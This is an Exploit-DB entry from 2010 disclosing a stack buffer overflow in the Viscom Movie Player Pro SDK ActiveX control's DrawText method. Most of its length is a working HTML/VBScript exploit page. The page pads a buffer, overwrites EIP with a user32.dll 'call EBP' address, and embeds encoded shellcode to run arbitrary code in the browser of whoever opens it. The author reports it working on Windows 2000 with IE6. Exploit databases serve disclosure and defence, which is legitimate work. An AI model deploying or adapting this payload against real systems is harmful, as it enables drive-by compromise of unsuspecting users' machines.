Viscom Software Movie Player Pro SDK ActiveX 6.8 - Remote Buffer Overflow

EDB-ID:

12320

Author:

shinnai

Type:

remote

Platform:

Windows

Published:

2010-04-21

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 Viscom Software Movie Player Pro SDK ActiveX 6.8 Remote Buffer Overflow
 url: http://www.viscomsoft.com/

 Author:	shinnai
 mail:		shinnai[at]autistici[dot]org
 site:		http://www.shinnai.net/

 File name:	MoviePlayer.ocx
 Version:	6.8.0.0
 GUID:		{F4A32EAF-F30D-466D-BEC8-F4ED86CAF84E}
 ProgID:	MOVIEPLAYER.MoviePlayerCtrl.1
 Description:	MoviePlayer Pro ActiveX

 Safety report:	RegKey Safe for Script: False
		RegKey Safe for Init: False
		Implements IObjectSafety: True
		IDisp Safe: Safe for untrusted: caller, data
		IPStorage Safe: Safe for untrusted: caller, data

 Vuln. Method:	"DrawText"
 Vuln. Param.:	"strFontName"

 Description:	A stack-based buffer overflow occurs when you pass to
		"strFontName" parameter a string overly long than 24
		bytes which leads into EIP overwrite allowing the
		execution of arbitrary code in the context of the logged
		on user.
		This happens because an inadequate space is stored
		into the buffer intended to receive the font name.


 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Tested on:
 Windows XP Professional SP3 with Internet Explorer 8
 Windows 2000 Professional SP4 with Internet Explorer 6 (working exploit)
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<html>
 <object classid='clsid:F4A32EAF-F30D-466D-BEC8-F4ED86CAF84E' id='test'></object>
  <script language = 'vbscript'>

   buf_1 = String(32, "A")

   pwEIP = unescape("%40%46%E3%77") 'call EBP from user32.dll Win 2k Pro

   buf_2 = String(416, "A")

   sCode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _
           unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _
           unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _
           unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _
           unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%34") & _
           unescape("%42%50%42%30%42%50%4b%38%45%44%4e%43%4b%38%4e%47") & _
           unescape("%45%30%4a%47%41%30%4f%4e%4b%48%4f%54%4a%41%4b%38") & _
           unescape("%4f%55%42%52%41%30%4b%4e%49%54%4b%48%46%33%4b%48") & _
           unescape("%41%50%50%4e%41%43%42%4c%49%59%4e%4a%46%48%42%4c") & _
           unescape("%46%47%47%50%41%4c%4c%4c%4d%50%41%50%44%4c%4b%4e") & _
           unescape("%46%4f%4b%43%46%35%46%52%46%30%45%37%45%4e%4b%58") & _
           unescape("%4f%45%46%42%41%50%4b%4e%48%46%4b%48%4e%30%4b%44") & _
           unescape("%4b%48%4f%35%4e%41%41%30%4b%4e%4b%38%4e%51%4b%38") & _
           unescape("%41%50%4b%4e%49%38%4e%45%46%32%46%50%43%4c%41%33") & _
           unescape("%42%4c%46%46%4b%48%42%34%42%33%45%38%42%4c%4a%47") & _
           unescape("%4e%30%4b%38%42%34%4e%50%4b%58%42%47%4e%41%4d%4a") & _
           unescape("%4b%58%4a%36%4a%30%4b%4e%49%50%4b%48%42%48%42%4b") & _
           unescape("%42%30%42%50%42%30%4b%38%4a%56%4e%43%4f%55%41%33") & _
           unescape("%48%4f%42%46%48%35%49%38%4a%4f%43%58%42%4c%4b%37") & _
           unescape("%42%55%4a%36%42%4f%4c%58%46%50%4f%35%4a%36%4a%59") & _
           unescape("%50%4f%4c%38%50%50%47%55%4f%4f%47%4e%43%56%41%56") & _
           unescape("%4e%46%43%56%50%32%45%46%4a%37%45%36%42%50%5a")

   buf_3 = String(4899, "A")

   egg = buf_1 & pwEIP & buf_2 & sCode & buf_3
 
   test.DrawText 1, 1, 1, "", 1, egg, True, True, True, 1, 1, 1, 1, 1, 1

</script>
</html>

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